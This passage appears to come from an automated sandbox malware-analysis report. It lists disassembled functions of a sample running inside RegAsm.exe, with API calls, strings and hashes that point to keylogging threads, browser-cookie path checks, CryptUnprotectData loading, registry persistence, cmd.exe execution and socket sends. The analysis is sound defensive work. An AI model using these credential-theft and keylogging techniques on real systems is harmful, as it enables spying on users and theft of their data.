                              • GetStringTypeW.KERNEL32(00000001,00000000,00000000,00000001,?,?,?,00000001,00000000,?,00000001,0042DD01,0042DD01,?,00000002,00000000), ref: 00451214
                              • __freea.LIBCMT ref: 0045121D
                                • Part of subcall function 00446137: RtlAllocateHeap.NTDLL(00000000,0043529C,?,?,00438847,?,?,00000000,?,?,0040DE62,0043529C,?,?,?,?), ref: 00446169
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: ByteCharMultiWide$AllocateHeapStringType__alloca_probe_16__freea
                              • String ID:
                              • API String ID: 313313983-0
                              • Opcode ID: c0c27e3fa0fc37b5352cac75d9871c7cd610c85ad5d081213d6c80f72d2fc676
                              • Instruction ID: 2862a929c21554b3885a63a70f5d1b49ed21d23a3953ed9914841bfcf42aa681
                              • Opcode Fuzzy Hash: c0c27e3fa0fc37b5352cac75d9871c7cd610c85ad5d081213d6c80f72d2fc676
                              • Instruction Fuzzy Hash: 6631D271A0020AABDF24DFA5DC41EAF7BA5EB04315F0445AAFC04D72A2E739CD55CB94
                              Function 0044F35A Relevance: 7.6, APIs: 5, Instructions: 68COMMON
                              Download Yara Rule
                              APIs
                              • GetEnvironmentStringsW.KERNEL32 ref: 0044F363
                              • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0044F386
                                • Part of subcall function 00446137: RtlAllocateHeap.NTDLL(00000000,0043529C,?,?,00438847,?,?,00000000,?,?,0040DE62,0043529C,?,?,?,?), ref: 00446169
                              • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 0044F3AC
                              • _free.LIBCMT ref: 0044F3BF
                              • FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0044F3CE
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
                              • String ID:
                              • API String ID: 336800556-0
                              • Opcode ID: be8aad2c18c16d35f713b979a96ac7f1c772162f60e003adf0fa877a85dcd87d
                              • Instruction ID: 8337c1946637dec1c7c9c61cb05458c13fbc509b7d73539ecc926bc10a2836fd
                              • Opcode Fuzzy Hash: be8aad2c18c16d35f713b979a96ac7f1c772162f60e003adf0fa877a85dcd87d
                              • Instruction Fuzzy Hash: 2301B173601755BB37211ABA5C8CC7F6A6CDAC6FA5315013FFD14C2202EA68CD0581B9
                              Function 00448299 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                              • GetLastError.KERNEL32(?,00000000,00000000,0043BC87,00000000,00000000,?,0043BD0B,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 0044829E
                              • _free.LIBCMT ref: 004482D3
                              • _free.LIBCMT ref: 004482FA
                              • SetLastError.KERNEL32(00000000,?,00405103), ref: 00448307
                              • SetLastError.KERNEL32(00000000,?,00405103), ref: 00448310
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: ErrorLast$_free
                              • String ID:
                              • API String ID: 3170660625-0
                              • Opcode ID: 3b5a676440ed160f08d3b9c67501060176d9d4d3bcfe02f134d94644f9898a15
                              • Instruction ID: 817e1e76de570c2b023109a843fda652767a1b5a915d0172e9d2adf04509528a
                              • Opcode Fuzzy Hash: 3b5a676440ed160f08d3b9c67501060176d9d4d3bcfe02f134d94644f9898a15
                              • Instruction Fuzzy Hash: 5601F936500B0067F3112A2A5C8596F2559EBC2B7A735452FFD19A22D2EFADCC01816D
                              Function 004509BC Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                              • _free.LIBCMT ref: 004509D4
                                • Part of subcall function 00446782: HeapFree.KERNEL32(00000000,00000000), ref: 00446798
                                • Part of subcall function 00446782: GetLastError.KERNEL32(?,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?,?), ref: 004467AA
                              • _free.LIBCMT ref: 004509E6
                              • _free.LIBCMT ref: 004509F8
                              • _free.LIBCMT ref: 00450A0A
                              • _free.LIBCMT ref: 00450A1C
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: _free$ErrorFreeHeapLast
                              • String ID:
                              • API String ID: 776569668-0
                              • Opcode ID: 3215379f381551316c6ac489d477ac1f9e59373460363398d28d4bb450e902e5
                              • Instruction ID: 8e1836d4b3683ea2f551dac33bf8b94159c93f8dbbc189607f67f5fa0db289e6
                              • Opcode Fuzzy Hash: 3215379f381551316c6ac489d477ac1f9e59373460363398d28d4bb450e902e5
                              • Instruction Fuzzy Hash: F3F04F76504600B79620EB5DE8C2C1B73D9EA0571A795891BF66CDB612CB38FCC0869C
                              Function 00444048 Relevance: 7.5, APIs: 5, Instructions: 30COMMON
                              Download Yara Rule
                              APIs
                              • _free.LIBCMT ref: 00444066
                                • Part of subcall function 00446782: HeapFree.KERNEL32(00000000,00000000), ref: 00446798
                                • Part of subcall function 00446782: GetLastError.KERNEL32(?,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?,?), ref: 004467AA
                              • _free.LIBCMT ref: 00444078
                              • _free.LIBCMT ref: 0044408B
                              • _free.LIBCMT ref: 0044409C
                              • _free.LIBCMT ref: 004440AD
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: _free$ErrorFreeHeapLast
                              • String ID:
                              • API String ID: 776569668-0
                              • Opcode ID: d22801927142449f45bafb541f3c6c05cfc56c6a25697691e9266b530bc09d46
                              • Instruction ID: c4ed0220327abb1134bcf7d54e43c2409a3611c90002b0fe773cef56a7474a4d
                              • Opcode Fuzzy Hash: d22801927142449f45bafb541f3c6c05cfc56c6a25697691e9266b530bc09d46
                              • Instruction Fuzzy Hash: 11F03AB18009208FA631AF2DBD414053B61E705769346822BF62C62A70C7B94ED2CFCF
                              Function 0044E6E9 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 168COMMON
                              Download Yara Rule
                              APIs
                              • _strpbrk.LIBCMT ref: 0044E738
                              • _free.LIBCMT ref: 0044E855
                                • Part of subcall function 0043BD19: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0043BD1B
                                • Part of subcall function 0043BD19: GetCurrentProcess.KERNEL32(C0000417,?,00405103), ref: 0043BD3D
                                • Part of subcall function 0043BD19: TerminateProcess.KERNEL32(00000000,?,00405103), ref: 0043BD44
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Process$CurrentFeaturePresentProcessorTerminate_free_strpbrk
                              • String ID: *?$.
                              • API String ID: 2812119850-3972193922
                              • Opcode ID: 6703a85dd49711e1afab558f77f60869b6155e4f96c4351f2947c71862cae23b
                              • Instruction ID: 94a4b4bbf586d133b1ca6d09685756ea089c4dad0dcc4a5060c65dcbb11523ea
                              • Opcode Fuzzy Hash: 6703a85dd49711e1afab558f77f60869b6155e4f96c4351f2947c71862cae23b
                              • Instruction Fuzzy Hash: B951C375E00109EFEF14DFAAC881AAEBBB5FF58314F25816EE454E7301E6399E018B54
                              Function 00409EA3 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 157COMMON
                              Download Yara Rule
                              APIs
                              • GetKeyboardLayoutNameA.USER32(?), ref: 00409ED3
                                • Part of subcall function 004048C8: connect.WS2_32(?,?,?), ref: 004048E0
                                • Part of subcall function 0041C515: CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000080,00000000), ref: 0041C52A
                                • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: CreateFileKeyboardLayoutNameconnectsend
                              • String ID: XQG$NG$PG
                              • API String ID: 1634807452-3565412412
                              • Opcode ID: 540faca1283a201b615fa294366106f171e649dc374ea9aa343cf977934f0195
                              • Instruction ID: e0ccbd324811511655e6ba18c086c0ffec884fa52ef92f7e14ea490dcf81b303
                              • Opcode Fuzzy Hash: 540faca1283a201b615fa294366106f171e649dc374ea9aa343cf977934f0195
                              • Instruction Fuzzy Hash: BA5133315082415AC324F732D852AEFB3E5AFD4348F50493FF44A671E6EF78594AC649
                              Function 00442385 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON
                              Download Yara Rule
                              APIs
                              • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004424DE
                              • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004424F3
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
                              • String ID: `#D$`#D
                              • API String ID: 885266447-2450397995
                              • Opcode ID: 36fac044672f79bbd2692348072d6fa41419b258ac2755bfc370d2617ef2a991
                              • Instruction ID: d0478598ef992627c852fcfbe86add3ca1c9fa58067414995f231753f3186543
                              • Opcode Fuzzy Hash: 36fac044672f79bbd2692348072d6fa41419b258ac2755bfc370d2617ef2a991
                              • Instruction Fuzzy Hash: 78519071A00208AFDF18DF59C980AAEBBB2FB94314F59C19AF81897361D7B9DD41CB44
                              Function 0040404C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 93sleepCOMMON
                              Download Yara Rule
                              APIs
                              • GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00404066
                                • Part of subcall function 0041B978: GetCurrentProcessId.KERNEL32(00000000,63B01986,00000000,?,?,?,?,00466468,0040D20D,.vbs,?,?,?,?,?,004752F0), ref: 0041B99F
                                • Part of subcall function 00418568: CloseHandle.KERNEL32(004040F5), ref: 0041857E
                                • Part of subcall function 00418568: CloseHandle.KERNEL32(t^F), ref: 00418587
                                • Part of subcall function 0041C485: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000), ref: 0041C49E
                              • Sleep.KERNEL32(000000FA,00465E74), ref: 00404138
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: CloseFileHandle$CreateCurrentModuleNameProcessSleep
                              • String ID: /sort "Visit Time" /stext "$0NG
                              • API String ID: 368326130-3219657780
                              • Opcode ID: 3041f1bf41341a7a35509bb268a87c49b4086886f3ef8ac56f6be550602b56b3
                              • Instruction ID: 62b88373b0174ac8ae4090b78ebfd0a8fca35ca34796720d8357018cc2c92f87
                              • Opcode Fuzzy Hash: 3041f1bf41341a7a35509bb268a87c49b4086886f3ef8ac56f6be550602b56b3
                              • Instruction Fuzzy Hash: E9316271A0011956CB15FBA6D8969EE7375AB90308F40007FF206B71E2EF385D89CA99
                              Function 0041C9E2 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 83COMMON
                              Download Yara Rule
                              APIs
                              • SystemParametersInfoW.USER32 ref: 0041CAD7
                                • Part of subcall function 0041376F: RegCreateKeyA.ADVAPI32(80000001,00000000,?), ref: 0041377E
                                • Part of subcall function 0041376F: RegSetValueExA.KERNEL32(?,004674B8,00000000,?,00000000,00000000), ref: 004137A6
                                • Part of subcall function 0041376F: RegCloseKey.KERNEL32(?), ref: 004137B1
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: CloseCreateInfoParametersSystemValue
                              • String ID: Control Panel\Desktop$TileWallpaper$WallpaperStyle
                              • API String ID: 4127273184-3576401099
                              • Opcode ID: a5c334ccb2f3e0acc440ce1cf8f28a98e6381df3e21f2f51dd4c73347d747d37
                              • Instruction ID: 1197cbbb31bb874c57b9e92d70abebba424d259215afdbf251ae70ffa4d9d73d
                              • Opcode Fuzzy Hash: a5c334ccb2f3e0acc440ce1cf8f28a98e6381df3e21f2f51dd4c73347d747d37
                              • Instruction Fuzzy Hash: 7B1184B2BC021473D419313E5DABBBE28029743B51F94416BF6123A6C6E8DF0A8102CF
                              Function 004162E4 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 79COMMON
                              Download Yara Rule
                              APIs
                              • _wcslen.LIBCMT ref: 004162F5
                                • Part of subcall function 00413877: RegCreateKeyA.ADVAPI32(80000001,00000000,004660A4), ref: 00413885
                                • Part of subcall function 00413877: RegSetValueExA.KERNEL32(004660A4,000000AF,00000000,00000004,00000001,00000004), ref: 004138A0
                                • Part of subcall function 00413877: RegCloseKey.KERNEL32(004660A4), ref: 004138AB
                                • Part of subcall function 00409DE4: _wcslen.LIBCMT ref: 00409DFD
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: _wcslen$CloseCreateValue
                              • String ID: !D@$okmode$PG
                              • API String ID: 3411444782-3370592832
                              • Opcode ID: 56d367afe2ba597d6a39c7afb1f52fa5ab03872d574dd40714d897b86eaaf0d3
                              • Instruction ID: dff749dc984b923ba5de2327a6f3f9cc2e67bcaf748228c26ce3aec7d70e92d7
                              • Opcode Fuzzy Hash: 56d367afe2ba597d6a39c7afb1f52fa5ab03872d574dd40714d897b86eaaf0d3
                              • Instruction Fuzzy Hash: 10119371B442011ADB187B72D832ABD22969F94358F80443FF54AAF2E2DEBD4C51525D
                              Function 0040C5EC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 72COMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 0040C4C3: PathFileExistsW.SHLWAPI(00000000), ref: 0040C4F6
                              • PathFileExistsW.SHLWAPI(00000000), ref: 0040C61D
                              • PathFileExistsW.SHLWAPI(00000000), ref: 0040C688
                              Strings
                              • User Data\Profile ?\Network\Cookies, xrefs: 0040C635
                              • User Data\Default\Network\Cookies, xrefs: 0040C603
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: ExistsFilePath
                              • String ID: User Data\Default\Network\Cookies$User Data\Profile ?\Network\Cookies
                              • API String ID: 1174141254-1980882731
                              • Opcode ID: f3bc938036da248068b0be9c9c2ef6302554ca2f51a2acae7b142117e121394f
                              • Instruction ID: e6b9b9a8142aca5ff9e4641a3ff80a721fb4b0471daa7637ae592fad8ebd6223
                              • Opcode Fuzzy Hash: f3bc938036da248068b0be9c9c2ef6302554ca2f51a2acae7b142117e121394f
                              • Instruction Fuzzy Hash: B421037190011996CB14F7A2DC96CEEB738EE50319F40053FB502B31D2EF789A46C698
                              Function 0040C6BB Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 72COMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 0040C526: PathFileExistsW.SHLWAPI(00000000), ref: 0040C559
                              • PathFileExistsW.SHLWAPI(00000000), ref: 0040C6EC
                              • PathFileExistsW.SHLWAPI(00000000), ref: 0040C757
                              Strings
                              • User Data\Profile ?\Network\Cookies, xrefs: 0040C704
                              • User Data\Default\Network\Cookies, xrefs: 0040C6D2
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: ExistsFilePath
                              • String ID: User Data\Default\Network\Cookies$User Data\Profile ?\Network\Cookies
                              • API String ID: 1174141254-1980882731
                              • Opcode ID: cddf59ed0f0a35ae698fc10c37901bb26126bcec9028eb75e0275fc853fc9b73
                              • Instruction ID: 83f6a23093d6b0727a30a1d550f3d6f5bdb2bb72864fa742cd8a9fd6423befd9
                              • Opcode Fuzzy Hash: cddf59ed0f0a35ae698fc10c37901bb26126bcec9028eb75e0275fc853fc9b73
                              • Instruction Fuzzy Hash: AE21D37190011AD6CB05F7A2DC96CEEB778EE50719B50013FF502B31D2EF789A46C698
                              Function 0040A179 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70threadCOMMON
                              Download Yara Rule
                              APIs
                              • CreateThread.KERNEL32(00000000,00000000,0040A27D,?,00000000,00000000), ref: 0040A1FE
                              • CreateThread.KERNEL32(00000000,00000000,0040A267,?,00000000,00000000), ref: 0040A20E
                              • CreateThread.KERNEL32(00000000,00000000,0040A289,?,00000000,00000000), ref: 0040A21A
                                • Part of subcall function 0040B164: GetLocalTime.KERNEL32(?,Offline Keylogger Started,?), ref: 0040B172
                                • Part of subcall function 0040B164: wsprintfW.USER32 ref: 0040B1F3
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: CreateThread$LocalTimewsprintf
                              • String ID: Offline Keylogger Started
                              • API String ID: 465354869-4114347211
                              • Opcode ID: 052d9f24e9ed53101c9c6e29893d10a0ebf43ddb848004275c2ad0d2f900b3d6
                              • Instruction ID: bcf1cfbdc14a627f6781ea3a40f7cea6448602225ce5b2be95dc640702f6c2bd
                              • Opcode Fuzzy Hash: 052d9f24e9ed53101c9c6e29893d10a0ebf43ddb848004275c2ad0d2f900b3d6
                              • Instruction Fuzzy Hash: DE1194B12003187AD220B7369C86CBB765DDA8139CB00057FF946222D2EA795D54CAFB
                              Function 0040AEEE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 65threadCOMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 0040B164: GetLocalTime.KERNEL32(?,Offline Keylogger Started,?), ref: 0040B172
                                • Part of subcall function 0040B164: wsprintfW.USER32 ref: 0040B1F3
                                • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                              • CreateThread.KERNEL32(00000000,00000000,Function_0000A267,?,00000000,00000000), ref: 0040AF6E
                              • CreateThread.KERNEL32(00000000,00000000,Function_0000A289,?,00000000,00000000), ref: 0040AF7A
                              • CreateThread.KERNEL32(00000000,00000000,0040A295,?,00000000,00000000), ref: 0040AF86
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: CreateThread$LocalTime$wsprintf
                              • String ID: Online Keylogger Started
                              • API String ID: 112202259-1258561607
                              • Opcode ID: 1301e6b876f99197b04564c733fafc78f062806f1783c7b989fb50bec4e70a22
                              • Instruction ID: a86b307176fed80e65d2d8085b20e14cf0e56bf63d45b36b749a5edd9f3e52e0
                              • Opcode Fuzzy Hash: 1301e6b876f99197b04564c733fafc78f062806f1783c7b989fb50bec4e70a22
                              • Instruction Fuzzy Hash: 1401C8A070031939E62076365C87D7F7A5DCA81398F40057FF645362C6D97D1C5586FB
                              Function 00406A63 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 53libraryloaderCOMMON
                              Download Yara Rule
                              APIs
                              • LoadLibraryA.KERNEL32(crypt32), ref: 00406A82
                              • GetProcAddress.KERNEL32(00000000), ref: 00406A89
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: AddressLibraryLoadProc
                              • String ID: CryptUnprotectData$crypt32
                              • API String ID: 2574300362-2380590389
                              • Opcode ID: 58a6a211d8528d7034b6d4e537693813dfb36b0b7d2b88ce6c125ece2ab5d6dc
                              • Instruction ID: d796ed41fc96dc9ef8d801536240fab0e9422483ab40f89d2a564a4d0f07de08
                              • Opcode Fuzzy Hash: 58a6a211d8528d7034b6d4e537693813dfb36b0b7d2b88ce6c125ece2ab5d6dc
                              • Instruction Fuzzy Hash: 6201B535B00216ABCB18DFAD9D449ABBBB8EB49300F14817EE95AE3341D674D9008BA4
                              Function 0040515C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 46synchronizationCOMMON
                              Download Yara Rule
                              APIs
                              • WaitForSingleObject.KERNEL32(?,000003E8,?,?,?,00405159), ref: 00405173
                              • CloseHandle.KERNEL32(?), ref: 004051CA
                              • SetEvent.KERNEL32(?), ref: 004051D9
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: CloseEventHandleObjectSingleWait
                              • String ID: Connection Timeout
                              • API String ID: 2055531096-499159329
                              • Opcode ID: 0fd579d592e0ec80786bd468370273e6dda72da4d01b044bfcfe4f18e9b09a20
                              • Instruction ID: e4880b57ed2806ada623013920947221b56867654f576af2420d72dde76e11cf
                              • Opcode Fuzzy Hash: 0fd579d592e0ec80786bd468370273e6dda72da4d01b044bfcfe4f18e9b09a20
                              • Instruction Fuzzy Hash: 1201D831A40F40AFE7257B368D9552BBBE0FF01302704097FE68396AE2D6789800CF59
                              Function 0040E7C5 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 45COMMON
                              Download Yara Rule
                              APIs
                              • __CxxThrowException@8.LIBVCRUNTIME ref: 0040E833
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Exception@8Throw
                              • String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
                              • API String ID: 2005118841-1866435925
                              • Opcode ID: 14b47bc0c01e13b5246ea87e39f47a408aa5ce0847750dcdb3cc0488a1de7433
                              • Instruction ID: aca7d9cae529c24a85643cb8f0975e7fdd15ab88b82278639a3f13e82648cb6f
                              • Opcode Fuzzy Hash: 14b47bc0c01e13b5246ea87e39f47a408aa5ce0847750dcdb3cc0488a1de7433
                              • Instruction Fuzzy Hash: 2C01B1315443086AE618F693C843FAA73585B10708F108C2FAA15761C2F67D6961C66B
                              Function 00413814 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39registryCOMMON
                              Download Yara Rule
                              APIs
                              • RegCreateKeyW.ADVAPI32(80000001,00000000,004752D8), ref: 0041381F
                              • RegSetValueExW.ADVAPI32 ref: 0041384D
                              • RegCloseKey.ADVAPI32(004752D8), ref: 00413858
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: CloseCreateValue
                              • String ID: pth_unenc
                              • API String ID: 1818849710-4028850238
                              • Opcode ID: 0de8c57798d2a052ed48f9ba6d58c7c81afdedd1aa2e5c5a2a8de63742f16a74
                              • Instruction ID: 91b44a8789fefabe47d0aed0b401f4e945a8dec35bb1902c17c37083bf943f80
                              • Opcode Fuzzy Hash: 0de8c57798d2a052ed48f9ba6d58c7c81afdedd1aa2e5c5a2a8de63742f16a74
                              • Instruction Fuzzy Hash: 83F0C271440218FBDF10AFA1EC45FEE376CEF00B56F10452AF905A61A1E7359F04DA94
                              Function 0040DFA6 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39COMMON
                              Download Yara Rule
                              APIs
                              • std::_Lockit::_Lockit.LIBCPMT ref: 0040DFB1
                              • std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 0040DFF0
                                • Part of subcall function 00435640: _Yarn.LIBCPMT ref: 0043565F
                                • Part of subcall function 00435640: _Yarn.LIBCPMT ref: 00435683
                              • __CxxThrowException@8.LIBVCRUNTIME ref: 0040E016
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Yarnstd::_$Exception@8Locinfo::_Locinfo_ctorLockitLockit::_Throw
                              • String ID: bad locale name
                              • API String ID: 3628047217-1405518554
                              • Opcode ID: 86f49e18a429e1939de4d1535c8c5fe7fe9a78163a93b43351c768af92284890
                              • Instruction ID: c9d4814c50014869750c7e26a4e1a69426a580a77e14145940ab7c7d7e24a8db
                              • Opcode Fuzzy Hash: 86f49e18a429e1939de4d1535c8c5fe7fe9a78163a93b43351c768af92284890
                              • Instruction Fuzzy Hash: EAF081314006049AC634FA62D863B9AB7B89F14718F504A7FB906228D1EF7CBA1CCA4C
                              Function 00416C2D Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 33threadCOMMON
                              Download Yara Rule
                              APIs
                              • CreateThread.KERNEL32(00000000,00000000,Function_0001D45D,00000000,00000000,00000000), ref: 00416C47
                              • ShowWindow.USER32(00000009), ref: 00416C61
                              • SetForegroundWindow.USER32 ref: 00416C6D
                                • Part of subcall function 0041CD9B: AllocConsole.KERNEL32 ref: 0041CDA4
                                • Part of subcall function 0041CD9B: ShowWindow.USER32(00000000,00000000), ref: 0041CDBD
                                • Part of subcall function 0041CD9B: SetConsoleOutputCP.KERNEL32(000004E4), ref: 0041CDE2
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Window$ConsoleShow$AllocCreateForegroundOutputThread
                              • String ID: !D@
                              • API String ID: 3446828153-604454484
                              • Opcode ID: b7364eaafb7a437eec89ed9fb4143899ef50b32a2d873a0c8232afd7958e43d5
                              • Instruction ID: c1d0571eb829819ca76672189d51ce116019f2d3a91c4b5ec781e9fa27a10d2f
                              • Opcode Fuzzy Hash: b7364eaafb7a437eec89ed9fb4143899ef50b32a2d873a0c8232afd7958e43d5
                              • Instruction Fuzzy Hash: 9EF05E70158201EAD720AB62EC45AFA7B69EB54351F00483BF849D14F2DB398C85C69D
                              Function 004160EE Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 27COMMON
                              Download Yara Rule
                              APIs
                              • ShellExecuteW.SHELL32(00000000,open,cmd.exe,00000000,00000000,00000000), ref: 00416130
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: ExecuteShell
                              • String ID: /C $cmd.exe$open
                              • API String ID: 587946157-3896048727
                              • Opcode ID: 64774f0173dd2414335a6a01ca4130183aa4f4d30cf83fc1238f67c292a9c67a
